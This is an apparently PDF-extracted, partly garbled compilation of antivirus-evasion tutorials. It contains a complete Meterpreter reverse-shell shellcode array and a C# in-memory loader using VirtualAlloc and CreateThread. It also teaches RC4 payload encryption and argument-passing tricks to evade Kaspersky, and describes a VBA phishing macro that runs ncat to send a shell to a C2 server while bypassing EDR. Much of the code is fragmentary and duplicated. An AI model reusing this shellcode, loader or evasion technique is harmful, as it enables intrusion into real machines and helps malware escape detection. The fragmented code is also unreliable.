1c ,0x49 ,0x01 ,0xd0 ,0x41 ,0x8b ,0x04 ,0x88 ,0x48 ,0x01 ,0xd0 ,0x41 ,0x58 ,0x41 ,0x58 ,0x5e ,0
x59 ,0x5a ,0x41 ,0x58 ,0x41 ,0x59 ,0x41 ,0x5a ,0x48 ,0x83 ,0xec ,0x20 ,0x41 ,0x52 ,0xff ,0xe0 ,0
x58 ,0x41 ,0x59 ,0x5a ,0x48 ,0x8b ,0x12 ,0xe9 ,0x4b ,0xff ,0xff ,0xff ,0x5d ,0x49 ,0xbe ,0x77 ,0x7
3 ,0x32 ,0x5f ,0x33 ,0x32 ,0x00 ,0x00 ,0x41 ,0x56 ,0x49 ,0x89 ,0xe6 ,0x48 ,0x81 ,0xec ,0xa0 ,0x0
1 ,0x00 ,0x00 ,0x49 ,0x89 ,0xe5 ,0x49 ,0xbc ,0x02 ,0x00 ,0x11 ,0x5c ,0xc0 ,0xa8 ,0x25 ,0x81 ,0x4
1 ,0x54 ,0x49 ,0x89 ,0xe4 ,0x4c ,0x89 ,0xf1 ,0x41 ,0xba ,0x4c ,0x77 ,0x26 ,0x07 ,0xff ,0xd5 ,0x4c
,0x89 ,0xea ,0x68 ,0x01 ,0x01 ,0x00 ,0x00 ,0x59 ,0x41 ,0xba ,0x29 ,0x80 ,0x6b ,0x00 ,0xff ,0xd5
,0x6a ,0x05 ,0x41 ,0x5e ,0x50 ,0x50 ,0x4d ,0x31 ,0xc9 ,0x4d ,0x31 ,0xc0 ,0x48 ,0xff ,0xc0 ,0x48
,0x89 ,0xc2 ,0x48 ,0xff ,0xc0 ,0x48 ,0x89 ,0xc1 ,0x41 ,0xba ,0xea ,0x0f ,0xdf ,0xe0 ,0xff ,0xd5 ,0x
48 ,0x89 ,0xc7 ,0x6a ,0x10 ,0x41 ,0x58 ,0x4c ,0x89 ,0xe2 ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba ,0x99 ,0x
a5 ,0x74 ,0x61 ,0xff ,0xd5 ,0x85 ,0xc0 ,0x74 ,0x0a ,0x49 ,0xff ,0xce ,0x75 ,0xe5 ,0xe8 ,0x93 ,0x0
0 ,0x00 ,0x00 ,0x48 ,0x83 ,0xec ,0x10 ,0x48 ,0x89 ,0xe2 ,0x4d ,0x31 ,0xc9 ,0x6a ,0x04 ,0x41 ,0x
58 ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba ,0x02 ,0xd9 ,0xc8 ,0x5f ,0xff ,0xd5 ,0x83 ,0xf8 ,0x00 ,0x7e ,0x5
5 ,0x48 ,0x83 ,0xc4 ,0x20 ,0x5e ,0x89 ,0xf6 ,0x6a ,0x40 ,0x41 ,0x59 ,0x68 ,0x00 ,0x10 ,0x00 ,0x0
0 ,0x41 ,0x58 ,0x48 ,0x89 ,0xf2 ,0x48 ,0x31 ,0xc9 ,0x41 ,0xba ,0x58 ,0xa4 ,0x53 ,0xe5 ,0xff ,0xd
5 ,0x48 ,0x89 ,0xc3 ,0x49 ,0x89 ,0xc7 ,0x4d ,0x31 ,0xc9 ,0x49 ,0x89 ,0xf0 ,0x48 ,0x89 ,0xda ,0x4
8 ,0x89 ,0xf9 ,0x41 ,0xba ,0x02 ,0xd9 ,0xc8 ,0x5f ,0xff ,0xd5 ,0x83 ,0xf8 ,0x00 ,0x7d ,0x28 ,0x58
,0x41 ,0x57 ,0x59 ,0x68 ,0x00 ,0x40 ,0x00 ,0x00 ,0x41 ,0x58 ,0x6a ,0x00 ,0x5a ,0x41 ,0xba ,0x0b
,0x2f ,0x0f ,0x30 ,0xff ,0xd5 ,0x57 ,0x59 ,0x41 ,0xba ,0x75 ,0x6e ,0x4d ,0x61 ,0xff ,0xd5 ,0x49 ,
0xff ,0xce ,0xe9 ,0x3c ,0xff ,0xff ,0xff ,0x48 ,0x01 ,0xc3 ,0x48 ,0x29 ,0xc6 ,0x48 ,0x85 ,0xf6 ,0x75
,0xb4 ,0x41 ,0xff ,0xe7 ,0x58 ,0x6a ,0x00 ,0x59 ,0x49 ,0xc7 ,0xc2 ,0xf0 ,0xb5 ,0xa2 ,0x56 ,0xff ,0
xd5};
in “Picture 1” you can compare result for two Codes (string and bytes) :
as you can see by string method your Meterpreter Payload Transformed From “FC , 48” to “66
63 , 34 38” in your EXE file.
But with byte Method your Meterpreter Payloads without change Hard-coded to your EXE file
so this File will detect Probably by most of AVS very fast .
Picture 1:
now we should talk about Section “STEP1” in our “Source Code 1”
5. {
7. }
important point for this trick is all Meterpreter Bytes will make in Memory without Saving in
File-system so for Proof of Concept you can See this Thing in “Picture 1” by
“NativePayload_HardcodedPayload_string.exe” C# Code. As you can see in “Picture 1”
Meterpreter Bytes “FC 48” in this Method Saved in File-system by these Bytes as STRING :
66 ==> F
63 ==> C
2C ==> ,
34 ==> 4
38 ==> 8
with Code string[] Xpayload = payload.Split(','); you will Remove these Bytes
from 660063002C00340038002C
Xpayload[0]= 66
Xpayload[1]= 63
Xpayload[2]= 34
Xpayload[3]= 38
Important Point : With this Variable byte[] X_Final you will have FC48 Meterpreter bytes In
Memory after Converting from 66633438 to FC48 by Codes (Line Numbers 4 and 6).
after these Code we will have Meterpreter Payload in Memory by byte[] X_Final Variable now
We need some Codes for Execute these Meterpreter Bytes in Memory by Create one New
Thread into Current Process.
2. Console.WriteLine();
3. Console.ForegroundColor = ConsoleColor.Gray;
4. Console.WriteLine("Bingo Meterpreter session by Hardcoded Payload with strings ;)");
12. }
13. [DllImport("kernel32")]
14. private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAlloca
tionType, UInt32 flProtect);
15. [DllImport("kernel32")]
17. [DllImport("kernel32")]
19. }
20. }
as you can see in Section “STEP2” we have some code for API Programming
and [DllImport("kernel32")].
If you want to use some Windows API Function (Unmanaged Codes) in your C# Codes
(Managed Codes) then you need these lines like (line Numbers : 13 , 14 , 15 , 16, 17, 18). with
these line I want to use these API Function ( VirtualAlloc , CreateThread
, WaitForSingleObject ).
Note : Don't Worry this is API Programming but I will try to Explain these Codes very simple
and Useful also let me tell you my Friends I am not Professional API Programmer by C# so If I
can Do this , you can do this too.
If I want to explain these codes from Line 0 up to 20 Shortly : with this code you will Allocate
memory Space in current Process for your Meterpreter Payload then your code will Copy
Payload DATA from Managed Codes AREA ( byte[] X_Final ) to Unmanaged Codes AREA
( UInt32 funcAddr) by ( Marshal.Copy ) finally your code Will make New Thread by
( CreateThread ) in your Current Process also Executing that and waiting for Response from
your New thread by ( WaitForSingleObject(hThread, 0xffffffff) ).
STEP 2 :
2. Console.WriteLine();
3. Console.ForegroundColor = ConsoleColor.Gray;
by These codes in Line Number 0 and 1 you will set Type of memory allocation in this case we
need 1000 and 40 by type UInt32.
code in line number 5 : commits Virtual Address Space for current process by
length (UInt32)X_Final.Length also with start address 0 .
Code in Line Number 6 with this code ( Marshal.Copy ) your DATA in your Meterpreter
Payload Variable in this case ( X_Final ) will copy to Unmanaged Code AREA (funcAddr) it
means your meterpreter payload From .NET code will Copy to Unmanaged Code to Executing
by new Threads.
Important point : This Highlighted Section of our Source Code will Detect by Kaspersky Anti
Viruses probably if you uses this Source code in Text format by TXT extension :
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
WaitForSingleObject(hThread, 0xffffffff);
///
so if you want to test this code Right Now maybe This Source Code with Text Format Will
Detect by Kaspersky AV for example Kaspersky Will Detect this Source Code with TXT format It
means Copy and Paste these Lines from 7 up to 11 to text Files for example Demo.txt file then
if you want to Download this File by HTTP traffic with Text File TXT extension then Will Detect
by KASPERSKY AV ver:17 or you can test that with right-click and selecting Scan by AV.
Interesting they want to Catch your Codes in Text format so in this case Kaspersky want to Find
Red Codes and they don not care about Your Meterpreter Payload if you want to use that by
String Tricks or Bytes Method in your Executable Files “EXE” But this Backdoor Source Code
and Executable File will not Detect by Most AVS right now (2016-2017).
1. 3.Expand Installed, expand Templates, expand Visual C#, and then choose Console
Application.
2. 4.In the Name box, specify name “NativePayload_HardcodedPayload" for your project
, also select .NET Frameworks 2.0 or 3.5 or 4.0 only and then choose the OK button.
1. 5.If Program.cs isn't open in the Code Editor, open the shortcut menu
for Program.cs in Solution Explorer, and then choose View Code.
2. 6.Replace the contents of Program.cs with the following code but in your code
( string payload = ) variable data is depend on your Msfvenom output in your LAB then
you should Make listener for your Backdoor By Metaspolit in your Kali Linux Please
back to Page 2 of this Chapter and See how can Make Backdoor Payloads by
Msfvenom tool by “Transform Format 1-1” table for your C# Code for more
information please Watch Videos 1-1 (Chapter 1 , Test-1) , now you can Run
(Compile/Execute) your C# Code by Pressing F5.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_HardcodedPayload
class Program
}
// byte[] X_Final = new byte[] { 0xfc ,0x48 ,0x83 ,0xe4 ,0xf0 ,0xe8 ,0xcc ,0x00 ,0x00 ,0x00 ,0x41
,0x51 ,0x41 ,0x50 ,0x52 ,0x51 ,0x56 ,0x48 ,0x31 ,0xd2 ,0x65 ,0x48 ,0x8b ,0x52 ,0x60 ,0x48
,0x8b ,0x52 ,0x18 ,0x48 ,0x8b ,0x52 ,0x20 ,0x48 ,0x8b ,0x72 ,0x50 ,0x48 ,0x0f ,0xb7 ,0x4a ,0x4a
,0x4d ,0x31 ,0xc9 ,0x48 ,0x31 ,0xc0 ,0xac ,0x3c ,0x61 ,0x7c ,0x02 ,0x2c ,0x20 ,0x41 ,0xc1 ,0xc9
,0x0d ,0x41 ,0x01 ,0xc1 ,0xe2 ,0xed ,0x52 ,0x41 ,0x51 ,0x48 ,0x8b ,0x52 ,0x20 ,0x8b ,0x42 ,0x3c
,0x48 ,0x01 ,0xd0 ,0x66 ,0x81 ,0x78 ,0x18 ,0x0b ,0x02 ,0x0f ,0x85 ,0x72 ,0x00 ,0x00 ,0x00 ,0x8b
,0x80 ,0x88 ,0x00 ,0x00 ,0x00 ,0x48 ,0x85 ,0xc0 ,0x74 ,0x67 ,0x48 ,0x01 ,0xd0 ,0x50 ,0x8b ,0x48
,0x18 ,0x44 ,0x8b ,0x40 ,0x20 ,0x49 ,0x01 ,0xd0 ,0xe3 ,0x56 ,0x48 ,0xff ,0xc9 ,0x41 ,0x8b ,0x34
,0x88 ,0x48 ,0x01 ,0xd6 ,0x4d ,0x31 ,0xc9 ,0x48 ,0x31 ,0xc0 ,0xac ,0x41 ,0xc1 ,0xc9 ,0x0d ,0x41
,0x01 ,0xc1 ,0x38 ,0xe0 ,0x75 ,0xf1 ,0x4c ,0x03 ,0x4c ,0x24 ,0x08 ,0x45 ,0x39 ,0xd1 ,0x75 ,0xd8
,0x58 ,0x44 ,0x8b ,0x40 ,0x24 ,0x49 ,0x01 ,0xd0 ,0x66 ,0x41 ,0x8b ,0x0c ,0x48 ,0x44 ,0x8b ,0x40
,0x1c ,0x49 ,0x01 ,0xd0 ,0x41 ,0x8b ,0x04 ,0x88 ,0x48 ,0x01 ,0xd0 ,0x41 ,0x58 ,0x41 ,0x58 ,0x5e
,0x59 ,0x5a ,0x41 ,0x58 ,0x41 ,0x59 ,0x41 ,0x5a ,0x48 ,0x83 ,0xec ,0x20 ,0x41 ,0x52 ,0xff ,0xe0
,0x58 ,0x41 ,0x59 ,0x5a ,0x48 ,0x8b ,0x12 ,0xe9 ,0x4b ,0xff ,0xff ,0xff ,0x5d ,0x49 ,0xbe ,0x77
,0x73 ,0x32 ,0x5f ,0x33 ,0x32 ,0x00 ,0x00 ,0x41 ,0x56 ,0x49 ,0x89 ,0xe6 ,0x48 ,0x81 ,0xec ,0xa0
,0x01 ,0x00 ,0x00 ,0x49 ,0x89 ,0xe5 ,0x49 ,0xbc ,0x02 ,0x00 ,0x11 ,0x5c ,0xc0 ,0xa8 ,0x25 ,0x81
,0x41 ,0x54 ,0x49 ,0x89 ,0xe4 ,0x4c ,0x89 ,0xf1 ,0x41 ,0xba ,0x4c ,0x77 ,0x26 ,0x07 ,0xff ,0xd5
,0x4c ,0x89 ,0xea ,0x68 ,0x01 ,0x01 ,0x00 ,0x00 ,0x59 ,0x41 ,0xba ,0x29 ,0x80 ,0x6b ,0x00 ,0xff
,0xd5 ,0x6a ,0x05 ,0x41 ,0x5e ,0x50 ,0x50 ,0x4d ,0x31 ,0xc9 ,0x4d ,0x31 ,0xc0 ,0x48 ,0xff ,0xc0
,0x48 ,0x89 ,0xc2 ,0x48 ,0xff ,0xc0 ,0x48 ,0x89 ,0xc1 ,0x41 ,0xba ,0xea ,0x0f ,0xdf ,0xe0 ,0xff
,0xd5 ,0x48 ,0x89 ,0xc7 ,0x6a ,0x10 ,0x41 ,0x58 ,0x4c ,0x89 ,0xe2 ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba
,0x99 ,0xa5 ,0x74 ,0x61 ,0xff ,0xd5 ,0x85 ,0xc0 ,0x74 ,0x0a ,0x49 ,0xff ,0xce ,0x75 ,0xe5 ,0xe8
,0x93 ,0x00 ,0x00 ,0x00 ,0x48 ,0x83 ,0xec ,0x10 ,0x48 ,0x89 ,0xe2 ,0x4d ,0x31 ,0xc9 ,0x6a ,0x04
,0x41 ,0x58 ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba ,0x02 ,0xd9 ,0xc8 ,0x5f ,0xff ,0xd5 ,0x83 ,0xf8 ,0x00
,0x7e ,0x55 ,0x48 ,0x83 ,0xc4 ,0x20 ,0x5e ,0x89 ,0xf6 ,0x6a ,0x40 ,0x41 ,0x59 ,0x68 ,0x00 ,0x10
,0x00 ,0x00 ,0x41 ,0x58 ,0x48 ,0x89 ,0xf2 ,0x48 ,0x31 ,0xc9 ,0x41 ,0xba ,0x58 ,0xa4 ,0x53 ,0xe5
,0xff ,0xd5 ,0x48 ,0x89 ,0xc3 ,0x49 ,0x89 ,0xc7 ,0x4d ,0x31 ,0xc9 ,0x49 ,0x89 ,0xf0 ,0x48 ,0x89
,0xda ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba ,0x02 ,0xd9 ,0xc8 ,0x5f ,0xff ,0xd5 ,0x83 ,0xf8 ,0x00 ,0x7d
,0x28 ,0x58 ,0x41 ,0x57 ,0x59 ,0x68 ,0x00 ,0x40 ,0x00 ,0x00 ,0x41 ,0x58 ,0x6a ,0x00 ,0x5a ,0x41
,0xba ,0x0b ,0x2f ,0x0f ,0x30 ,0xff ,0xd5 ,0x57 ,0x59 ,0x41 ,0xba ,0x75 ,0x6e ,0x4d ,0x61 ,0xff
,0xd5 ,0x49 ,0xff ,0xce ,0xe9 ,0x3c ,0xff ,0xff ,0xff ,0x48 ,0x01 ,0xc3 ,0x48 ,0x29 ,0xc6 ,0x48
,0x85 ,0xf6 ,0x75 ,0xb4 ,0x41 ,0xff ,0xe7 ,0x58 ,0x6a ,0x00 ,0x59 ,0x49 ,0xc7 ,0xc2 ,0xf0 ,0xb5
,0xa2 ,0x56 ,0xff ,0xd5 };
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
WaitForSingleObject(hThread, 0xffffffff);
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocatio
nType, UInt32 flProtect);
[DllImport("kernel32")]
[DllImport("kernel32")]
https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/i
ndex.htm
• •Videos
in this Chapter we will talk about Encrypting Meterpreter Payload in your Source Code by C# so
in this case we want to Hard-coded Payload Again in C# Source Code then for Avoiding from
Detection by AV we will use Encrypted Meterpreter Payload in our Code but we have some
Important Points in this Section :
Important Points :
1. 1.Where of your Code is Sensitive and probably will Detect by Anti-Viruses ?
byte[] X_Final = new byte[] { 0xfc ,0x48 ,0x83 ,0xe4 ,0xf0 ,0xe8 ,0xcc ,0x00 ...};
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
WaitForSingleObject(hThread, 0xffffffff);
1. 2.in this chapter we will talk about Hard-coded Payloads but one good way to avoiding
Detection by AV is Using Command Prompt Parameters for Importing your Payloads as
Parameter! In this case your Payloads will load in Memory without Writing in File-
system also you can Use Encrypted Data by CMD Parameters for Importing Payloads so
we should talk about this technique too because some Anti-viruses will Detect
Meterpreter Sections in your C# Code so in this case you should not use Hard-coded
Meterpreter Payload in Executable file or Source code so you can Import your
Meterpreter by Command Prompt Parameters or you should use Hard-coded +
Encrypted Payload.
•
In this chapter we will talk about how can use Hard-coded Payload with Encryption Method
also we will talk about How can use Payloads by Command Prompt Parameters via C#.
Note : RC4 is one of the Best and Simple way for using Encryption in your Meterpreter
Payloads so I want to use this Algorithm for Encrypted Payloads but in this course I do not
want to Explain RC4 Algorithm Code Line by Line so we just need these codes for Encryption
but I think this Source Code is not Very Difficult to Understanding so we should Focus to How
can Use this Code in C# rather than the focus to RC4 Algorithm.
Recommended :
STEP 2 : after "AV Signature Database Updated" your Internet Connection should be
"Disconnect" .
STEP 3 : Now you can Copy and Paste your C# code and “exe” to your Virtual Machine for test .
As you can see in this code “ class Encryption_Class ” we have “Encrypt , Decrypt” Functions so
with these functions you can Create Encrypt or Decrypt Payload.
.ToArray();
return s;
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
i = (i + 1) & 255;
Swap(s, i, j);
});
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
for using RC4 encryption Code in your C# Backdoor you need Two Steps :
So we have two C# Source code first for Encryption , Second for Decryption (Backdoor).
Step1-1: First of all we need one Meterpreter Payload so with this command you can Create
Meterpreter Payload with Csharp Format.
For creating Native Code or Unmanaged Code for your Backdoor Payload you can use this
Command with this syntax :
Note : After create Meterpreter payload by Msfvenom Command you can use this Payload by
This C# Source Code for Creating Encrypted Payload .
before using this C# Source Code we should talk about static byte[] KEY for Encryption method
also we should talk about this code string[] InputArg = args[0].Split(','); for Using Command
Prompt Arguments to importing Meterpreter Payload .
Source_1:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Payload_Encrypt_Maker
{
class Program
static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00
, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
}
private static byte[] EncryptInitalize(byte[] key)
.ToArray();
Swap(s, i, j);
return s;
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
i = (i + 1) & 255;
Swap(s, i, j);
byte c = s[i];
s[i] = s[j];
s[j] = c;
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.ForegroundColor = ConsoleColor.Gray;
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.Write(XPay.Length.ToString() + "\n");
Console.ForegroundColor = ConsoleColor.DarkGreen;
for (int i = 0; i < XPay.Length; i++)
Console.ForegroundColor = ConsoleColor.Green;
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.ForegroundColor = ConsoleColor.Yellow;
Console.Write("{0}", Convert.ToString(Keys));
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine();
Console.WriteLine();
A. Short Answer is : you need this KEY to Encrypting your Payload by RC4 Algorithm also you
need this KEY for Decryption .
This KEY is Byte[] Array variable and this Key Hard-coded in your Code but you can change it
any time you want .
static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x
00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
1.you can import this KEY to your Code via Command Prompt Arguments but in this case I did
not use this Technique .
2.for importing Meterpreter Payload via Command Prompt Arguments I used this code to do
this .
so string[] InputArg = args[0] it means you want to dump First Argument in Command Prompt
for this Tool .
Now we should talk about this Trick for Importing DATA in this Case Meterpreter Payload to
your Code via Args Variable.
This is your Meterpreter Payload with Transform Format Csharp by Msfvenom in (Step1-
1) and it should be something like this :
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,....,0xb5,0xa2,0
x56,0xff,0xd5 };
0xfc ,0x48 ,0x83 ,0xe4 ,0xf0 ,0xe8 ,0xcc ,0x00 ,0x00 ,0x00 ,0x41 ,0x51 ,0x41 ,0x50 ,0x52 ,0x51
with C# you can transform this string from this format “0xfc,0x48” to new String Array Variable
with this Format 0xfc 0x48
so we have something like this by this simple C# Code string[] InputArg = args[0].Split(',') :
After run this Code you will have something like this “Picture2”
Picture2:
as you can see in Picture2 we have Encrypted Meterpreter Payload by Decimal values and this
Payload Encrypted by your Hard-coded KEY in this case your KEY is
“0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1
1, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00“ .
now we should use this Encrypted Payload in target system for bypassing AV Detection by
simple C# Backdoor Code also you need this KEY for Decrypting this Meterpreter Payload in
Target system Memory and Executing this. As I said we talk about Those Anti-viruses which will
detect our Meterpreter Payloads in Source Code or Executable File (File-system) so with Step1
we had Simple C# code for Encrypting this Meterpreter Payload also for Hard-coding this
Encrypted Payload in our Executable File but we can Use Command Prompt Arguments for
Importing this Payload into our Backdoor too (maybe Safe-way).
So we have two C# Source code first for Encryption (step1) , Second for Decryption (step2).
In this Step2 you need Simple C# Code for Decrypting this Meterpreter Payload in Memory and
Executing that at the same time so again we can use our Simple C# Backdoor Code from
Chapter 1 but with Little Bit change in Source code for Decryption .
This is Chapter 1 Backdoor Code with little bit change for Decrypting Payload.
Source_2:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_Decryption
class Program
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.ForegroundColor = ConsoleColor.Gray;
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine();
string Payload_Encrypted;
string[] Input_Keys = args[0].Split(' ');
Console.ForegroundColor = ConsoleColor.Yellow;
Console.ForegroundColor = ConsoleColor.DarkGreen;
/// Converting String to Byte for Encrypted Meterpreter Payload by Second Argument
Payload_Encrypted = args[1].ToString();
_X_to_Bytes[i] = current;
try
{
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Green;
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine();
UInt32 threadId = 0;
WaitForSingleObject(hThread, 0xffffffff);
catch (Exception)
throw;
}
public static byte[] Decrypt(byte[] key, byte[] data)
.ToArray();
Swap(s, i, j);
return s;
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
i = (i + 1) & 255;
});
byte c = s[i];
s[i] = s[j];
s[j] = c;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocatio
nType, UInt32 flProtect);
[DllImport("kernel32")]
[DllImport("kernel32")]
}
by this section of code you can Import KEY code for Decryption via first Command Prompt
Argument .
Console.ForegroundColor = ConsoleColor.Yellow;
by this section of code you can Import your Encrypted Meterpreter code via second Command
Prompt Argument .
/// Converting String to Byte for Encrypted Meterpreter Payload by Second Argument
Payload_Encrypted = args[1].ToString();
_X_to_Bytes[i] = current;
}
finally by this code you will have Decrypted Meterpreter Payload in Memory for Executing .
as you can see in “Picture3” with this Syntax my Backdoor Worked very simple .
until now we used Argument Technique for Importing KEY and Encrypted Payload to our
Backdoor so in this case we have not Hard-coded Meterpreter Payload in Source Code or
Executable File but you can use Hard-coded KEY in source Code like this so you can use
(Source_3) for this technique.
Source_3: code with Hard-coded KEY
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_Decryption
class Program
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.ForegroundColor = ConsoleColor.Gray;
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine();
Console.WriteLine("[!] Using RC4 Decryption for your Payload By KEY.");
string Payload_Encrypted;
Console.ForegroundColor = ConsoleColor.Yellow;
// {
// }
Console.ForegroundColor = ConsoleColor.DarkGreen;
/// Converting String to Byte for Encrypted Meterpreter Payload by Second Argument
Payload_Encrypted = args[0].ToString();
try
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Green;
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine();
UInt32 threadId = 0;
WaitForSingleObject(hThread, 0xffffffff);
catch (Exception)
{
throw;
.ToArray();
Swap(s, i, j);
return s;
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
i = (i + 1) & 255;
Swap(s, i, j);
});
byte c = s[i];
s[i] = s[j];
s[j] = c;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocatio
nType, UInt32 flProtect);
[DllImport("kernel32")]
[DllImport("kernel32")]
after Hard-coded KEY in Source Code you will have New Syntax like “Picture4”:
if you want to Hard-coded Meterpreter Payload to Source code then you should change your
Code like “Picture5” so you can use (Source_4) for this technique.
after Hard-coded Encrypted Meterpreter Payload and KEY in Source Code you will have New
Syntax like “Picture6” without any Parameter or Argument .
Syntax : NativePayload_Decryption.exe
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_Decryption
class Program
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Published by Damon Mohammadbagher 2016-2017");
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine();
string Payload_Encrypted;
byte[] xKey = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00,
0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
Console.ForegroundColor = ConsoleColor.Yellow;
//{
//}
Console.ForegroundColor = ConsoleColor.DarkGreen;
//Payload_Encrypted = args[0].ToString();
_X_to_Bytes[i] = current;
try
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Green;
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine();
Console.WriteLine();
UInt32 threadId = 0;
WaitForSingleObject(hThread, 0xffffffff);
catch (Exception)
throw;
/// <summary>
/// </summary>
.ToArray();
Swap(s, i, j);
return s;
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
i = (i + 1) & 255;
Swap(s, i, j);
});
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
/// <summary>
/// </summary>
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocatio
nType, UInt32 flProtect);
[DllImport("kernel32")]
[DllImport("kernel32")]
}
at a glance : in this chapter we had two C# Source Code , First for Encryption and second for
Decryption (Backdoor) also we used Argument Technique for Inputing Data like KEY or
Encrypted Meterpreter Payload to C# Backdoor so Inputing Data by Argument is really Useful
Technique if you do not Want to Hard-coded KEY or Payloads in your Source code so by this
Technique AV can not Detect your KEY or Payloads so in this Case Anti-viruses “maybe” Will
Detect your C# Codes like these Sections of your Backdoor Code :
WaitForSingleObject(hThread, 0xffffffff);
https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/i
ndex.htm
https://medium.com/@carlosprincipal1/how-to-bypass-antivirus-av-2020-easy-method-
69749892928b
VBA Bypass AV
VBS Payload Demo: Creating a Manual Payload
Let’s walk through the VBS Payload delivery system. Microsoft Excel and Word VBS Macros are
a lost art and still very effective for carrying malicious payloads. They are still observed in the
wild on a frequent basis, as research shows. Why is this? It just so turns out that Office
applications are still very popular and so is macro functionality for advanced calculations and
complex workflows. VBA applications embedded into Microsoft Excel documents are especially
useful to some companies.
This test case was heavily influenced by reading Wil Allsopp’s “Advanced Penetration Testing:
Hacking the World’s Most Secure Networks.”
You can use some default templates in Excel for creating budgets, which is exactly what I did
for this testing.
What we are doing above is avoiding the usage of AutoOpen() function, which tends to get
flagged more by AV engines. We are relying on a pretext of getting the target to click on the
“Calculate” Macro button, which will launch the desired VBS function.
Now change the variables as desired to match your simulated attack infrastructure. The VBS
code is located at this gist here.
Summary
• We created a VBA function that relied on the user to click on a Macro enabled button.
• We didn’t rely on the AutoOpen() function, which makes this testing a little more
stealthy.
• The VBA function, when clicked, writes a VBScript in the user profile directory.
• The script runs ncat.exe to shovel a shell to the cloud-based C2 server, using a TLS
transport.
• We’ve used an innocent-looking VBA macro that carries a VBS payload, writes it to a
file, and executes it! This is a dual-stage VBS that simulates what a more involved C2
framework would utilize.
This technique has been verified to bypass at least one EDR vendor. So have fun with it but
please only use it for good, in better understanding and defending your network. Note that
this is a very basic example. The next steps would be obfuscating the VBS and using
compression/encryption with the delivery system files. With this Purple Teaming Phishing test
case, we were able to bypass any email detections as well as bypass an endpoint EDR solution.
This is a lot more valuable than just testing one single prevention or detection layer as it
simulates an attack end-to-end.
While I have been working on this article, one of our Security Analysts helped triage a report
from a customer on a suspicious word document. It ended up being a Valak Malware variant a
little distinct from some of the prior writeups describing how it works. It was a password-
protected Word 97–2003 documented carrying a VBA/VBS payload. Below are some quick and
dirty notes on an initial analysis of this. Unfortunately, the staging server (where it looks like
the 1st stage was trying to drop some more malware from) was shut down before we had a
chance to collect more information.
• Friday, July 31st, 2020: Security Analyst performed triage with the upload of word
